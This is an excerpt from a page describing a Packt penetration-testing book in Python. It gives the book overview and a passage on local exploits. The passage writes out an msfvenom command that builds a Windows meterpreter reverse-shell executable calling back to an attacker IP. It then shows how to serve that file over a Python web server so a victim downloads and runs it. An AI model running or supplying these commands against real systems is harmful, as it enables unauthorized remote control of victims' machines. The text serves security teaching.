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Python: Penetration Testing for Developers

By : Christopher Duffy, Mohit , Cameron Buchanan, Andrew Mabbitt, Terry Ip, Dave Mound, Benjamin May
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Python: Penetration Testing for Developers

By: Christopher Duffy, Mohit , Cameron Buchanan, Andrew Mabbitt, Terry Ip, Dave Mound, Benjamin May

Overview of this book

Cybercriminals are always one step ahead, when it comes to tools and techniques. This means you need to use the same tools and adopt the same mindset to properly secure your software. This course shows you how to do just that, demonstrating how effective Python can be for powerful pentesting that keeps your software safe. Comprising of three key modules, follow each one to push your Python and security skills to the next level. In the first module, we’ll show you how to get to grips with the fundamentals. This means you’ll quickly find out how to tackle some of the common challenges facing pentesters using custom Python tools designed specifically for your needs. You’ll also learn what tools to use and when, giving you complete confidence when deploying your pentester tools to combat any potential threat. In the next module you’ll begin hacking into the application layer. Covering everything from parameter tampering, DDoS, XXS and SQL injection, it will build on the knowledge and skills you learned in the first module to make you an even more fluent security expert. Finally in the third module, you’ll find more than 60 Python pentesting recipes. We think this will soon become your trusted resource for any pentesting situation. This Learning Path combines some of the best that Packt has to offer in one complete, curated package. It includes content from the following Packt products: ? Learning Penetration Testing with Python by Christopher Duffy ? Python Penetration Testing Essentials by Mohit ? Python Web Penetration Testing Cookbook by Cameron Buchanan,Terry Ip, Andrew Mabbitt, Benjamin May and Dave Mound
Table of Contents (32 chapters)
Python: Penetration Testing for Developers
Python: Penetration Testing for Developers
Credits
Preface
Bibliography
Index

Understanding the purpose of local exploits


It should be noted that the same access could be achieved by executing a payload on the system. Generating such a payload would only require us to run the following command:

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -b '\x00' -f exe -o /tmp/exploit.exe

Then, start up a Python web server with the following command:

python -m SimpleHTTPServer

The following figure highlights the output of the relevant commands:

Then, achieve the desired results by downloading and executing the payload through a browser on the victims system.

So you may be asking yourself, Why did we create this exploit then? If the software we just created this exploit for was running as an administrator instead of the user we were logged into, then exploiting this solution would be more useful. The nature of this program though this scenario is unlikely. As such, generating a Metasploit module for an exploit this would not be very useful. Consider...